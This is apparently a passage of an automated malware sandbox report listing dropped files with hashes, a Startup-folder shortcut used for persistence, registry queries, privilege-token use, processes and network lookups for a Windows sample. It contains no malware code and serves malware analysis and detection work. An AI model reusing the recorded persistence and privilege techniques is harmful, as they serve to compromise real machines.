memory/2376-160-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/2376-161-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/2376-159-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/2376-158-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/2376-157-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/2376-156-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/2376-154-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/2376-152-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/2376-155-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/2376-153-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/2376-151-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/2876-189-0x0000000000920000-0x00000000009F6000-memory.dmp

C:\Users\Admin\AppData\Local\529d1c\4bd7f2.bat

MD5 7f145f9c460ee7bb55a3e7ad72a65f86
SHA1 39a73f2119c72ae27a166fff9ceb13859f6ac21b
SHA256 16e3704ce7a5f142fe817cd42cf9fd214341caf20a284c439457feb84515ddad
SHA512 1bfbf2931d904ae08d6552267b918e8f7e6cce6d142f0c950c74e2e601dc3cf36428fcddf67ad3cae1acb565edf4871c0c3c165be88c34d3c81b68b8d7c1a75f

C:\Users\Admin\AppData\Roaming\4f4be6\d3bc4d.cbe78f1

MD5 f8b28811957a511896368d4ce846be65
SHA1 6912b736b99f8ea62aabbf2f7a37ad84f98408ba
SHA256 1545b2eb63c0c5abb6929c973be838f2c7158ddf5925cb931a079a634c04e30e
SHA512 444587ed231ae9b763b9d834d4e3e609c5380d95ea6eeca1a9f856ab989551e289df581e7c2ab7c8388679681867f9a48aa0f03e88aa64ba977b4104eea1f9cf

C:\Users\Admin\AppData\Local\529d1c\1bcd8a.lnk

MD5 7456158805a081526af24c02a7a6ae6d
SHA1 36db31bb5c4fd4a0ec3ed2d18ee9a94a0c256a2a
SHA256 92f81b0a82837322ec028154795ddddb8f9464f2a140a9b492b786e255f90637
SHA512 3b4eb5b8eaaad5f6d38bad47ef5be8508e679e84f1191c0f02abb85d90fc1f176170dda2f0e95d255362227c7eb2dab3a833876b8a2077b39cad77b2fc935c6e

C:\Users\Admin\AppData\Local\529d1c\7fd902.cbe78f1

MD5 acd095cf322000838c36a72fa096a459
SHA1 140f80c3d1d01eebdce25209178a6e4f4537cbbd
SHA256 7bc51e006dd0d7eedbb9f0eef93217df2d3fab66063adbc0bde2f2022fa30c3b
SHA512 28f76377d1b9b42ae59ab79a81ef765e47340dc5866f9dbb898d568b32f53014ab6ff0517f2d1ddcf1957db3ada5b588bdfd22c6a331657557a128e6439deed1

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\54b061.lnk

MD5 3f20cf8378253a2d9d05b6e0b95288ee
SHA1 dbcaa66e8427bf3caef684ec46cdadea9852efcc
SHA256 5b3ea80e47b317f9ff96a1b5f279c8745614ffa8c98469db14ba26784726ea12
SHA512 205c38b547afeca8e3165a721a831a93c0e1ae87fd15918e52db37be0bb56664b68603bbcd5b4b366eca9731f5bc9025c4d264fd9d5aa06e22a551e33e65650a

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-09 20:46

Reported

2024-05-09 20:49

Platform

win10v2004-20240508-en

Max time kernel

148s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe"

Signatures

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeRestorePrivilege N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe

dw20.exe -x -s 964

Network

Country Destination Domain Proto
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
BE 88.221.83.208:443 www.bing.com tcp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 208.83.221.88.in-addr.arpa udp
US 8.8.8.8:53 112.211.222.173.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 24.121.18.2.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 43.56.20.217.in-addr.arpa udp
US 8.8.8.8:53 12.173.189.20.in-addr.arpa udp

Files

memory/2592-0-0x0000000074F32000-0x0000000074F33000-memory.dmp

memory/2592-1-0x0000000074F30000-0x00000000754E1000-memory.dmp

memory/2592-2-0x0000000074F30000-0x00000000754E1000-memory.dmp

memory/2592-3-0x0000000074F30000-0x00000000754E1000-memory.dmp

memory/2592-10-0x0000000074F30000-0x00000000754E1000-memory.dmp